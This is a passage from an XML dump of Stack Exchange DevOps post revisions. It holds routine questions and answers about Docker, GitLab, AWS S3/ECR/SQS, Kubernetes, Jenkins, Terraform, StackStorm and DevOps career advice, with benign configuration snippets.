how to run the container.&#xA;&#xA;2. **Prevent the line from exiting** after having run the container successfully. This is a bash issue that I have been trying to fix but I can't seem to figure out how to do this.&#xA;&#xA;For what it's worth here is the content of the bash script I'm using to launch the container:&#xA;&#xA;    SCRIPT_DIR=$( cd &quot;$( dirname &quot;${BASH_SOURCE[0]}&quot; )&quot; &amp;&amp; pwd )&#xA;    &#xA;    &#xA;    IMAGE=&quot;path/to/docker/image&quot;&#xA;    &#xA;    if [[ -z &quot;$@&quot; ]]; then&#xA;            docker run --rm -it -u username -v $SCRIPT_DIR/../..:/project $IMAGE&#xA;    else&#xA;            for arg; do HOSTS+=&quot;--add-host=$arg &quot;; done&#xA;            docker run --rm -it -u username -v $SCRIPT_DIR/../..:/project $HOSTS $IMAGE&#xA;    fi&#xA;&#xA;And I call it like this:&#xA;&#xA;`./launch-docker-container.sh parameter:param_to_bind`&#xA;&#xA;**How could I launch a docker container from within a GitLab Shell runner?**" ContentLicense="CC BY-SA 4.0" />
  <row Id="36389" PostHistoryTypeId="5" PostId="8907" RevisionGUID="3d7627a2-a78f-4a52-9d70-acca84c31725" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="1. **Download - yes.** Simply set each Object ACL to be publicly readable. &#xA;&#xA;2. **List - sort of.** If you set the Bucket ACL to publicly readable anyone can list the content. However it's a rather human-unfriendly XML listing. &#xA;&#xA;   You can generate your directory listings to some `index.html` files through an external process and configure the bucket to serve those.&#xA;&#xA;3. **Basic auth - nope.** You can look at something like [S3 pre-signed URLs][1] to protect the content.&#xA;&#xA;Hope that helps :)&#xA;&#xA;&#xA;  [1]: https://aws.nz/best-practice/s3-presigned-url/" ContentLicense="CC BY-SA 4.0" />
  <row Id="36390" PostHistoryTypeId="5" PostId="9087" RevisionGUID="dbc800d2-f257-443e-b75f-4ec631428a03" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="When one would like to create an Elastic Container Registry then it is possible to set 'image tag mutability':&#xA;&#xA;&gt; Image tag mutability&#xA;&gt;&#xA;&gt; The image tag mutability setting for the&#xA;&gt; repository. Select &quot;immutable&quot; to prevent image tags from being&#xA;&gt; overwritten by subsequent image pushes using the same tag. Mutable&#xA;&gt; Immutable&#xA;&#xA;According to [this user guide][1] it does not seem to be possible to configure this using AWS CloudFormation.&#xA;&#xA;&#xA;  [1]: https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-ecr-repository.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="36391" PostHistoryTypeId="5" PostId="9099" RevisionGUID="f49c0094-8b82-4ce3-9162-ad111e37b0b2" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="At my current job, I started as a Software Developer, and I've worked myself into a DEVOPS position. I am worried about getting fired, not because I'm doing something wrong, but because I'm used to proactively doing things(writing code), whereas most of my time now is sitting around waiting for things to happen....&#xA;&#xA;My daily duties(and I asked my manager in a detailed email listing these same ones) are,&#xA;&#xA;&gt;Monitor 5 different servers' performance.&#xA;&gt;&#xA;&gt;Monitor 2 of those servers Active Batch execution agents&#xA;&gt;&#xA;&gt;Handle requests as they are created.&#xA;&gt;&#xA;&gt;Handle project tasks as they are created.&#xA;&gt;&#xA;&gt;Monitor Email/Skype/Phone&#xA;&gt;&#xA;&gt;Build whatever is requested that isn't directly assigned thru the ticketing system.&#xA;&#xA;It seems like a lot at first glance, but what is actually involved is little more than watching 1 monitor for new errors, and another monitor for messages. I can usually complete tickets in minutes-1 hour. Is this normal for Dev Ops-just sitting around waiting? If so, what can I do to be more useful? If not, am I in danger of getting fired? " ContentLicense="CC BY-SA 4.0" />
  <row Id="36392" PostHistoryTypeId="5" PostId="9108" RevisionGUID="16481159-addc-4805-87a4-19c843f2be4b" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="I agree with those who have commented that the role you describe doesn't really match a typical DevOps role. However, there are certain things you won't be able to change in your organization. Instead, focus on the things you can do.&#xA;&#xA;## Understand the Objectives&#xA;&#xA;The best place to start is with a clear understanding of Service Level Objectives. What kinds of things do external customers actually care about? If they don't care about uptime, don't make uptime measurements a high priority. Perhaps latency, software updates, content accuracy, or some other measure is more important. Also be aware of your internal customers' needs (your boss, coworkers, etc). What things do they care about?&#xA;&#xA;Once you understand what is most important to your customers, **measure, measure, measure!** Get as much data as you can about those items that matter. How long does it take to deploy code? When you close a ticket, what percentage of the time does it come back unresolved? And so on. Use those measurements to improve over time.&#xA;&#xA;Here are some areas you can focus your efforts (varies, depending on the company you work for):&#xA;&#xA;### Configuration&#xA;&#xA;If someone logged into a server and broke the configuration, how hard would it be to correct the error?&#xA;&#xA; - You should be able to consistently build and replace resources with minimal effort.&#xA; - Configuration management should be complete so that all meaningful changes are tracked.&#xA; - Ideally, build up processes or tooling as needed so that developers can modify configuration themselves in a controlled and collaborative way (:D DevOps!).&#xA;&#xA;### CI/CD&#xA;&#xA;When new code is released, how does it get delivered?&#xA;&#xA; - When code is pushed to source control, it should trigger automated testing and deployment. If possible, this should happen in a pipeline that deploys multiple environments in sequence as tests pass (dev -&gt; qa -&gt; uat -&gt; prod).&#xA; - Improve visibility so that you can easily see where different versions of the code are running, what errors are occurring, and how performance is changing.&#xA; - Enable your software developers to deliver code themselves (:D DevOps!).&#xA; - Collaborate with developers to improve this process (:D DevOps!)&#xA;&#xA;### Logging/Metrics&#xA;&#xA;When something goes wrong, how quickly can you find out what the problem was? If something went wrong 2 months ago, can you still find out what the problem was?&#xA;&#xA; - Collect logs in a central place with tools that help you search and visualize.&#xA; - Aggregate metrics with tools that help visualize.&#xA; - Reduce noise! If it's not meaningful, don't keep it (but be a little conservative, sometimes things turn out to be meaningful later).&#xA; - Work with developers to understand how logging and metrics would help them deliver better software (:D DevOps!).&#xA;&#xA;### Alerting/Incident Response&#xA;&#xA;Ideally, you should not ever need to look at a graph, dashboard, or log message, unless there's an actual problem to solve. Sitting and watching a dashboard is not a good task for humans.&#xA;&#xA; - Set up alerting so that you get notified when problems arise.&#xA; - Alerts should go to **ONE** person, who is the RIGHT person.&#xA; - Alerts should be *urgent* (needs to be addressed immediately), and *actionable* (the person getting the alert *can* fix it).&#xA; - In the spirit of paging the right person, you may be able to work with developers on getting them into some kind of on-call rotation (even just M-F 8-5 for a subset of code issues). (DevOps?)&#xA;&#xA;### Disaster Recovery&#xA;&#xA;If your servers were destroyed today, how long would it take to be up and running again?&#xA;&#xA; - Take backups of data and set up backup infrastructure.&#xA; - Test backup recovery regularly.&#xA; - Test failover to secondary infrastructure regularly.&#xA; - Work with developers to better understand how code will operate in a failover scenario and improve as needed (:D DevOps!).&#xA;&#xA;### Documentation&#xA;&#xA;Heaven forbid something happen to you, but if it does, how well can someone else replace you. Document what you've built and improved so clearly that another person *can* replace you. Don't worry, this makes you *less* likely to be fired.&#xA;&#xA;### Education&#xA;&#xA;Always, educate yourself. Take online courses, read books, work on certifications. I don't know what the path looks like for you. I believe that spending a few hours every week specifically dedicated to improving your own skills is a valuable use of your time (even for your employer!).&#xA;&#xA;A book like Site Reliability Engineering (Beyer, Jones, Petoff &amp; Murphy) or The Phoenix Project (Kim, Behr &amp; Spafford) might be good to read on this topic.&#xA;&#xA;---&#xA;&#xA;Totally possible I've entirely missed the point of your question. If so, I apologize. However, I think this ought to give you some ideas of how you can spend your time in ways that is worthwhile to both your employer and yourself.&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36393" PostHistoryTypeId="5" PostId="9240" RevisionGUID="b9ec5b29-fc50-483c-8e74-bade0652fe96" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="Note: the answer is rather speculative, based on docs only, I didn't actually use GitLab pipelines yet.&#xA;&#xA;You may be able to use the [Pipelines API][1]. More specifically you could [get a pipeline's variables][2]:&#xA;&#xA;&gt; Get variables of a pipeline&#xA;&gt; &#xA;&gt;     GET /projects/:id/pipelines/:pipeline_id/variables&#xA;&gt; &#xA;&gt;     Attribute Type            Required    Description&#xA;&gt;     id            integer/string  yes         The ID or URL-encoded path of the project owned by the authenticated user&#xA;&gt;     pipeline_id   integer         yes         The ID of a pipeline&#xA;&gt; &#xA;&gt; Example of response&#xA;&gt; &#xA;&gt;     [&#xA;&gt;       {&#xA;&gt;         &quot;key&quot;: &quot;RUN_NIGHTLY_BUILD&quot;,&#xA;&gt;         &quot;variable_type&quot;: &quot;env_var&quot;,&#xA;&gt;         &quot;value&quot;: &quot;true&quot;&#xA;&gt;       },&#xA;&gt;       {&#xA;&gt;         &quot;key&quot;: &quot;foo&quot;,&#xA;&gt;         &quot;value&quot;: &quot;bar&quot;&#xA;&gt;       }&#xA;&gt;     ]&#xA;&#xA;I'm suspecting that in the response you'd find the variables shown in a [pipeline creation][3] response example, which include these which could be of interest to you:&#xA;&#xA;&gt;       &quot;id&quot;: 61,&#xA;&gt;       &quot;sha&quot;: &quot;384c444e840a515b23f21915ee5766b87068a70d&quot;,&#xA;&gt;&#xA;&gt;       &quot;before_sha&quot;: &quot;0000000000000000000000000000000000000000&quot;,&#xA;&#xA;I'm uncertain if the `before_sha` for the current pipeline is what you're looking for, if not you'd just get the `sha` for the previous pipeline ID, which you could derive from the current pipeline ID (via the `CI_PIPELINE_ID` environment variable, see [Predefined environment variables][4]). I'm assuming that the pipeline IDs are consecutive.&#xA;&#xA;&#xA;  [1]: https://docs.gitlab.com/ee/api/pipelines.html&#xA;  [2]: https://docs.gitlab.com/ee/api/pipelines.html#get-variables-of-a-pipeline&#xA;  [3]: https://docs.gitlab.com/ee/api/pipelines.html#create-a-new-pipeline&#xA;  [4]: https://docs.gitlab.com/ee/ci/variables/README.html#predefined-environment-variables" ContentLicense="CC BY-SA 4.0" />
  <row Id="36394" PostHistoryTypeId="5" PostId="9415" RevisionGUID="cc9d0fb0-cf6f-4226-9070-80fc98860825" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="simple ..&#xA;docker ps check the current running images..for simple file example below..&#xA;&#xA;FROM ubuntu16&#xA;&#xA;MAINTAINER sreeni (email/domain)&#xA;&#xA;RUN apt-get update&#xA;&#xA;RUN apt-get install -y nginx&#xA;&#xA;ENTRYPOINT [“/usr/sbin/nginx”,”-g”,”daemon off;”]&#xA;&#xA;EXPOSE 80 (port)&#xA;&#xA;simple docker file...&#xA;&#xA;# use below docker command&#xA;&#xA;docker run -d -p 80:80 --name web server ubuntu16(image name)&#xA;after that check localhost or ip address:80 (open browser and check)" ContentLicense="CC BY-SA 4.0" />
  <row Id="36395" PostHistoryTypeId="5" PostId="9668" RevisionGUID="4a94baa7-68ef-4bb6-bb46-60f42f8f1a2b" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="Perhaps you are looking for the [Job Cacher](https://plugins.jenkins.io/jobcacher) plugin?&#xA;&#xA;To quote the plugin page:&#xA;&gt; **Summary**&#xA;&gt;&#xA;&gt; Enables caching of files on transient executors for use on subsequent builds to improve performance&#xA;&gt;&#xA;&gt; **Features**&#xA;&gt;&#xA;&gt; - Item storage extension point supporting on master storage and AWS S3&#xA;&gt; - Cache Wrapper for free style jobs that manages the cache&#xA;    Arbitrary File Cache where user specifies paths to be cached&#xA;&gt; - UI on Job page to review the job's caches&#xA;&gt; - Supports Pipeline jobs with a cache directive&#xA;&gt; - Cache Extension Point for other plugins to provide opinionated caching capability such as Gradle caches&#xA;&gt; - Incremental storing of cache into storage to minimize data movement&#xA;&#xA;However, these are for files **created** by the jobs, not **needed** by them. In order to use it in your case, you might need a few dummy jobs specifically for downloading the content from the arbitrary URLs, and then caching them in your Jenkins cache. I guess you'd have to write the script for that.&#xA;&#xA;To be frank, I've never used this plugin, and what I describe above doesn't seem to be an elegant solution. Your question specifically ask for a Jenkins plugin, however I believe the _general_ problem is **how to cache job dependencies** in Jenkins. If you agree to this wider interpretation, there are some other options. &#xA;&#xA;I have often solved the problem you mention using a combination of managed scripts and persistent storage which Jenkins and workers have access to, in Jenkins.  If you need really _arbitrary_ dependency management, a tool like [Spack](https://spack.readthedocs.io) or [EasyBuild](https://easybuild.readthedocs.io/en/latest/) may be useful. Although these have evolved in the HPC domain, they do quite well at caching dependencies for workloads.&#xA;&#xA;However, since you mention just a few dependencies (specific sqlite versions _e.g._), I think it may be worth your time to write a script which does the caching for you and, together with globally-available persistent storage, do the caching and retrieval that way." ContentLicense="CC BY-SA 4.0" />
  <row Id="36396" PostHistoryTypeId="5" PostId="9507" RevisionGUID="7fa50c57-eca7-4fe5-91b6-dc6a6c3c6789" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="They are different tools for different purposes:&#xA;&#xA; - **php-cli** is the standalone tool for running a PHP scripts in the same way you would run it from the command line: `php somescript.php`.  It seems you can also use it to base other images from.&#xA;&#xA;   &gt; This variant contains the PHP CLI tool with default mods. If you need a web server, this is probably not the image you are looking for. It is designed to be used both as a throw away container (mount your source code and start the container to start your app), as well as a base from which to build other images.&#xA;&#xA; - **php-fpm** is the FastCGI server implementation of PHP which you would use with a FastCGI compliant web server such as Apache or Nginx.&#xA;&#xA;   &gt; This variant contains PHP-FPM, which is a FastCGI implementation for PHP. See the [PHP-FPM][1] website for more information about PHP-FPM.&#xA;&#xA;You also have two other variants:&#xA;&#xA; - **php-apache** which is just Apache configured with `mod_php`&#xA; - **php-alpine** is the smallest possible Docker image based upon Alpine Linux, albeit with some compatibility issues.&#xA;&#xA;You can [see all of the Dockerfiles][2] on GitHub and whilst it doesn't appear that `php-fpm` is based upon `php-cli` practically they are likely to be very similar and `php-fpm` is probably a superset of `php-cli`.&#xA;&#xA;&#xA;  [1]: https://php-fpm.org/&#xA;  [2]: https://github.com/docker-library/php/tree/master/7.3" ContentLicense="CC BY-SA 4.0" />
  <row Id="36397" PostHistoryTypeId="5" PostId="9714" RevisionGUID="241b2594-71f4-4319-83cc-2c09d82ae469" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="At first glance, it seems that tag immutability is not a feature provided by Quay. You can enable &quot;Trust and Signing&quot; in the &quot;settings&quot; of the repo:&#xA;&#xA;&#xA;&gt; Please note that this will not prevent users from overwriting signed tags without updating signatures. This means that:&#xA;&gt;&#xA;&gt; - Any tag operations in the UI or client can cause inconsistency&#xA;&gt; - Builds should not push to signed tags &#xA;&gt;&#xA;&gt; We recommend you maintain a strict separation between signed and unsigned tags to avoid any issues with garbage collection.&#xA;&#xA;&#xA;So, you can sign tags, but you can't prevent them from being updated." ContentLicense="CC BY-SA 4.0" />
  <row Id="36398" PostHistoryTypeId="5" PostId="9755" RevisionGUID="b593be81-c682-4c4f-84d5-804e2f4de628" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="[Terraform variable type constraints](https://www.terraform.io/docs/configuration/types.html) separate &quot;primitive&quot; types from &quot;complex&quot; types. These primitive types include strings:&#xA;&#xA;&gt; A primitive type is a simple type that isn't made from any other types. All primitive types in Terraform are represented by a type keyword. The available primitive types are:&#xA;&gt;&#xA;&gt;  -  string: a sequence of Unicode characters representing some text, such as &quot;hello&quot;.&#xA;&gt;  -  number: a numeric value. The number type can represent both whole numbers like 15 and fractional values such as 6.283185.&#xA;&gt;  -  bool: either true or false. bool values can be used in conditional logic.&#xA;&#xA;So, simply declaring the variable as a string, with the linebreaks in it would suffice." ContentLicense="CC BY-SA 4.0" />
  <row Id="36399" PostHistoryTypeId="5" PostId="9912" RevisionGUID="9f9a86e9-e5ad-4e53-ab68-c61d08d251d3" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="I am using the `YAML` file to deploy the container on `Kubernetes` with some replication factor on a hosted machine. &#xA;&#xA;   &#xA;# YAML File&#xA;      &#xA;    apiVersion: apps/v1&#xA;    kind: Deployment&#xA;    metadata:&#xA;      name: mojo-deployment&#xA;      labels:&#xA;        app: mojo&#xA;    spec:&#xA;      selector:&#xA;        matchLabels:&#xA;          app: mojo&#xA;      replicas: 3&#xA;      template:&#xA;        metadata:&#xA;          labels:&#xA;            app: mojo&#xA;        spec:&#xA;          containers:&#xA;            - name: mojo&#xA;              image: mojo:1.0.1&#xA;              ports:&#xA;                - containerPort: 9000&#xA;    &#xA;    ---&#xA;    #Services Info&#xA;    apiVersion: v1&#xA;    kind: Service&#xA;    metadata:&#xA;      name: mojo-services&#xA;    spec:&#xA;      selector:&#xA;        app: mojo&#xA;      ports:&#xA;        - protocol: TCP&#xA;          port: 80&#xA;          targetPort: 9376&#xA;    &#xA;    ---&#xA;    &#xA;    #Ingress Configuration&#xA;    apiVersion: networking.k8s.io/v1beta1&#xA;    kind: Ingress&#xA;    metadata:&#xA;      name: mojo-ingress&#xA;      annotations:&#xA;        kubernetes.io/ingress.class: mojo&#xA;    spec:&#xA;      backend:&#xA;        serviceName: mojo-services&#xA;        servicePort: 80&#xA;&#xA;&#xA;&#xA;Steps:&#xA; &#xA; 1. Build `Docker` image using `docker build -t mojo:1.0 .&#xA; 2. `docker image ls` show me an image id.&#xA; 3. Skipping `docker build` command to deploy image on container. Do I need to do it? or `kubectl` service will take care of it. &#xA; 4. Run `kubectl apply -f Prod.yaml`. It shows &#xA;&#xA;&gt; deployment.apps/mojo-deployment created&#xA;&gt;&#xA;&gt;  service/mojo-services created&#xA;&gt;&#xA;&gt;  ingress.networking.k8s.io/mojo-ingress created&#xA;&#xA;5. `kubectl get service` returns&#xA;&#xA;    [![][1]][1]&#xA;6. `kubectl get pod` returns&#xA;[![][2]][2]&#xA;7. `kubectl get deployment` returns&#xA;[![enter image description here][3]][3]&#xA;&#xA;Questions?&#xA;&#xA;1. Do I need to build the container before deploying `YAML` file? I tried it but still `kubernetes` not running.&#xA;&#xA;2. Why all pods are showing `Pending` status.&#xA;&#xA;3. Deployment is also showing `pending` status.&#xA;&#xA;4. Though I am trying to access the `Ingress` with &lt;My IP Address&gt;:80 and cannot access it.  &#xA;&#xA; &#xA;  [1]: https://i.stack.imgur.com/2mjol.png&#xA;  [2]: https://i.stack.imgur.com/mQZY2.png&#xA;  [3]: https://i.stack.imgur.com/CulrZ.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="36400" PostHistoryTypeId="5" PostId="10037" RevisionGUID="4c743ce5-4549-4a94-bf47-9906ab2d8d09" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="I have found [StackStorm](https://stackstorm.com/) to be the most fully-featured ChatOps product.&#xA;&#xA;It satisfies your requirements:&#xA;&#xA;- Authz, RBAC, ACL ✔&#xA;- Extensible in Python ✔&#xA;&#xA;See below.&#xA;&#xA;-----&#xA;&#xA;StackStorm is marketed as a &#xA;&#xA;&gt; Robust If This, Then That Platform&#xA;&#xA;(but for DevOps)&#xA;&#xA;StackStorm consists of a few components, beyond it's chatops capability:&#xA;&#xA;&gt; - Sensors: &#xA;&gt; Sensors are Python plugins for either inbound or outbound integration that receives or watches for events respectively. When an event from external systems occurs and is processed by a sensor, a StackStorm trigger will be emitted into the system.&#xA;&gt; - Triggers&#xA;&gt; Triggers are StackStorm representations of external events. There are generic triggers (e.g. timers, webhooks) and integration triggers (e.g. Sensu alert, JIRA issue updated). A new trigger type can be defined by writing a sensor plugin.&#xA;&gt;&#xA;&gt; - Actions&#xA;&gt; Actions are StackStorm outbound integrations. There are generic actions (ssh, REST call), integrations (OpenStack, Docker, Puppet), or custom actions. Actions are either Python plugins, or any scripts, consumed into StackStorm by adding a few lines of metadata. Actions can be invoked directly by user via CLI or API, or used and called as part of rules and workflows.&#xA;&gt; - Rules:&#xA;Rules map triggers to actions (or to workflows), applying matching criteria and mapping trigger payload to action inputs.&#xA;&gt; - Workflows&#xA;&gt; Workflows stitch actions together into “uber-actions”, defining the order, transition conditions, and passing the data. Most automations are more than one-step and thus need more than one action. Workflows, just like “atomic” actions, are available in the Action library, and can be invoked manually or triggered by rules.&#xA;&gt; Packs&#xA;&gt; Packs are the units of content deployment. They simplify the management and sharing of StackStorm pluggable content by grouping integrations (triggers and actions) and automations (rules and workflows). A growing number of packs are available on StackStorm Exchange. Users can create their own packs, share them on Github, or submit to the StackStorm Exchange.&#xA;&gt; - Audits&#xA;&gt; Audit trail of action executions, manual or automated, is recorded and stored with full details of triggering context and execution results. It is also captured in audit logs for integrating with external logging and analytical tools: LogStash, Splunk, statsd, syslog.&#xA;&#xA;StackStorm's [ChatOps](https://docs.stackstorm.com/chatops/chatops.html) is built into it's other components: &#xA;&#xA;&gt; ChatOps leverages two components within StackStorm in order to provide a fluid user experience. These subsystems are the **Action Aliases** and **Notifications** subsystems. You can learn more about each of these individual components in their corresponding sub-sections.&#xA;&#xA;but you can also use your own:&#xA;&#xA;&gt; If you already have a Hubot instance, you’ll need the hubot-stackstorm module installed and the following environment variables set up:&#xA;&#xA;[Authentication](https://docs.stackstorm.com/authentication.html) can be done by StackStorm itself, or delegated to a proxy authentication system:&#xA;&#xA;&gt; The service can be configured with different backends (i.e. PAM, LDAP, etc.) to handle the authentication. If a backend is not specified, an htpasswd-compatible flat file authentication backend is used. To use a different backend, select and install the appropriate python package from the StackStorm community repos and configure st2auth accordingly.&#xA;&#xA;It also supports [API keys](https://docs.stackstorm.com/authentication.html#api-keys).&#xA;&#xA;As for RBAC, they [claim that it is supported in their &quot;Extreme Workflow Composer&quot;](https://docs.stackstorm.com/rbac.html#role-based-access-control)&#xA;&#xA;&gt; Role Based Access Control (RBAC) is only available in Extreme Workflow Composer. For information about Extreme Workflow Composer and the differences between StackStorm and Extreme Workflow Composer, please see stackstorm.com/product.&#xA;&#xA;More at https://docs.stackstorm.com/install/ewc.html&#xA;&#xA;StackStorm has &quot;packs&quot; which are predefined workflows, similar to IFTT or Zapier, which are sets of triggers, rules and actions. You can [extend it with your own actions](https://docs.stackstorm.com/actions.html#writing-custom-actions):&#xA;&#xA;&gt; An action is composed of two parts:&#xA;&gt;&#xA;&gt; - A YAML metadata file which describes the action, and its inputs.&#xA;&gt; - A script file which implements the action logic&#xA;&gt;&#xA;&gt; As noted above, an action script can be written in an arbitrary programming language, as long as it follows these conventions:&#xA;&gt;&#xA;&gt; - Script should exit with 0 status code on success and non-zero on error (e.g. 1)&#xA;&gt; - All log messages should be printed to standard error&#xA;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36401" PostHistoryTypeId="5" PostId="10039" RevisionGUID="dec67ba8-4384-4fb1-8d4a-52ddf65b9907" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="I'm installing **Gitlab** on my server using **docker-compose** based on [Docker Docs][1].&#xA;My SSH port is not the default one (22) and I have changed it to something else like 2228. So the YML file became like this:&#xA;```&#xA;web:&#xA;  image: 'gitlab/gitlab-ce:latest'&#xA;  restart: always&#xA;  hostname: 'gitlab.mydomain.com'&#xA;  environment:&#xA;    GITLAB_OMNIBUS_CONFIG: |&#xA;      external_url 'https://gitlab.mydomain.com'&#xA;      gitlab_rails['gitlab_shell_ssh_port'] = 2228&#xA;  ports:&#xA;    - '80:80'&#xA;    - '443:443'&#xA;    - '2228:22'&#xA;  volumes:&#xA;    - '/srv/gitlab/config:/etc/gitlab'&#xA;    - '/srv/gitlab/logs:/var/log/gitlab'&#xA;    - '/srv/gitlab/data:/var/opt/gitlab'&#xA;```&#xA;When I run the `docker-compose up -d`, I receive this result and errors:&#xA;```&#xA;Starting docker_web_1 ...&#xA;&#xA;ERROR: for docker_web_1  a bytes-like object is required, not 'str'&#xA;&#xA;ERROR: for web  a bytes-like object is required, not 'str'&#xA;Traceback (most recent call last):&#xA;  File &quot;site-packages/docker/api/client.py&quot;, line 261, in _raise_for_status&#xA;  File &quot;site-packages/requests/models.py&quot;, line 940, in raise_for_status&#xA;requests.exceptions.HTTPError: 500 Server Error: Internal Server Error for url: http+docker://localhost/v1.21/containers/9d4483106cf1683f46b5158a9550f9b4375d7c147ecb8b07df533840ad0806b6/start&#xA;&#xA;During handling of the above exception, another exception occurred:&#xA;&#xA;Traceback (most recent call last):&#xA;  File &quot;compose/service.py&quot;, line 625, in start_container&#xA;  File &quot;compose/container.py&quot;, line 241, in start&#xA;  File &quot;site-packages/docker/utils/decorators.py&quot;, line 19, in wrapped&#xA;  File &quot;site-packages/docker/api/container.py&quot;, line 1095, in start&#xA;  File &quot;site-packages/docker/api/client.py&quot;, line 263, in _raise_for_status&#xA;  File &quot;site-packages/docker/errors.py&quot;, line 31, in create_api_error_from_http_exception&#xA;docker.errors.APIError: 500 Server Error: Internal Server Error (&quot;b'driver failed programming external connectivity on endpoint docker_web_1 (9b32d28cc2f635e085e82a2ef9f4d1fd3afc76f7693e279405ada5f61b96d215): Error starting userland proxy: listen tcp 0.0.0.0:443: bind: address already in use'&quot;)&#xA;&#xA;During handling of the above exception, another exception occurred:&#xA;&#xA;Traceback (most recent call last):&#xA;  File &quot;bin/docker-compose&quot;, line 6, in &lt;module&gt;&#xA;  File &quot;compose/cli/main.py&quot;, line 72, in main&#xA;  File &quot;compose/cli/main.py&quot;, line 128, in perform_command&#xA;  File &quot;compose/cli/main.py&quot;, line 1107, in up&#xA;  File &quot;compose/cli/main.py&quot;, line 1103, in up&#xA;  File &quot;compose/project.py&quot;, line 570, in up&#xA;  File &quot;compose/parallel.py&quot;, line 112, in parallel_execute&#xA;  File &quot;compose/parallel.py&quot;, line 210, in producer&#xA;  File &quot;compose/project.py&quot;, line 556, in do&#xA;  File &quot;compose/service.py&quot;, line 568, in execute_convergence_plan&#xA;  File &quot;compose/service.py&quot;, line 510, in _execute_convergence_start&#xA;  File &quot;compose/parallel.py&quot;, line 112, in parallel_execute&#xA;  File &quot;compose/parallel.py&quot;, line 210, in producer&#xA;  File &quot;compose/service.py&quot;, line 508, in &lt;lambda&gt;&#xA;  File &quot;compose/service.py&quot;, line 620, in start_container_if_stopped&#xA;  File &quot;compose/service.py&quot;, line 627, in start_container&#xA;TypeError: a bytes-like object is required, not 'str'&#xA;[5738] Failed to execute script docker-compose&#xA;```&#xA;I'm new in Docker and docker-compose, but I did everything as it is written in the official documentation. May you help me plesae to solve this issue?&#xA;&#xA;  [1]: https://docs.gitlab.com/omnibus/docker/#install-gitlab-using-docker-compose" ContentLicense="CC BY-SA 4.0" />
  <row Id="36402" PostHistoryTypeId="5" PostId="10259" RevisionGUID="97aaa2df-e3c6-4f6c-8b27-b1a8d956bd87" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="You can manually stop a build in progress. From [Stopping an active build][2]:&#xA;&#xA;&gt; To stop an active plan build:&#xA;&gt;&#xA;&gt; 1. Click Dashboard and then the All Plans tab.&#xA;&gt; 2. Click the 'Stop' icon next to the active plan you want to stop.&#xA;&#xA;It also appears possible to stop the build/deploy programmatically, using [the REST API][1], more specifically making a `DELETE` request to the appropriate url:&#xA;&#xA;&gt; /queue/{projectKey}-{buildKey}-{buildNumber : ([0-9]+)}?stage&amp;executeAllStages&#xA;&gt; ...&#xA;&gt; DELETE&#xA;&gt; Stop build execution.&#xA;&gt;&#xA;&gt; available response representations:&#xA;&gt;&#xA;&gt; 401&#xA;&gt; Returned when user does not have sufficient rights to view or execute build for specified plan&#xA;&gt;&#xA;&gt; 204&#xA;&gt; On success (success is also when build was already completed - so nothing to stop)&#xA;&gt;&#xA;&gt; 404&#xA;&gt; Returned when specified job does not exist&#xA;&#xA;[1]: https://docs.atlassian.com/atlassian-bamboo/REST/6.8.0&#xA;[2]: https://confluence.atlassian.com/bamboo/stopping-an-active-build-289276913.html&#xA;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36403" PostHistoryTypeId="5" PostId="10389" RevisionGUID="c921cb5c-260e-4788-abc3-2de98280720a" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="I'm new to SQS. &#xA;&#xA;I recently noticed the `ApproximateNumberOfMessagesVisible` in my SQS queue started rising. What was interesting though is that there was no sudden surge in the number of messages received or depression in number of messaged being deleted from the queue that corresponds with this surge.&#xA;&#xA;&#xA;### `NumberOfMessagesSent`&#xA;[![NumberOfMessagesSent][1]][1]&#xA;&#xA;### `NumberOfMessagesReceived`&#xA;&#xA;[![NumberOfMessagesReceived][2]][2]&#xA;&#xA;### `NumberOfMessagesDeleted`&#xA;[![NumberOfMessagesDeleted][3]][3]&#xA;&#xA;### `ApproximateNumberOfMessagesVisible`&#xA;[![ApproximateNumberOfMessagesVisible][4]][4]&#xA;&#xA;Increasing the number of SQS workers temporarily drained this queue, but what could be possible reasons for this increase? &#xA;&#xA;&#xA;  [1]: https://i.stack.imgur.com/e2K0H.png&#xA;  [2]: https://i.stack.imgur.com/EYgaC.png&#xA;  [3]: https://i.stack.imgur.com/DaCUr.png&#xA;  [4]: https://i.stack.imgur.com/lpDfm.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="36404" PostHistoryTypeId="5" PostId="10434" RevisionGUID="4b8551d4-d947-411c-9d51-66bc2ce79b8e" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="Without input from the authors I doubt we'll get a definitive answer but I'll try my best.&#xA;&#xA;As far as I know none of the authors of The Phoenix Project served in the military, however my understanding of the USA is that serving in the army for a couple of years to help fund college is an extremely common practice. In other countries (such as the UK where I live) someone who enters the military often views it as a career and serves for a longer term. In the US it's much more common that people will have some kind of military background.&#xA;&#xA;**Question 1:** Are these reference to the army background an essential part of the message of the book or just story-telling (e.g. trying to give some depth to the characters by telling their history)?&#xA;&#xA;I don't believe an understanding of military process is required to understand or appreciate The Phoenix Project. So why did the authors include them?&#xA;&#xA; - To illustrate the &quot;rigor and discipline&quot; mentality that Bill started the role with.&#xA; - To emphasise the similarities with military practice and repetition which 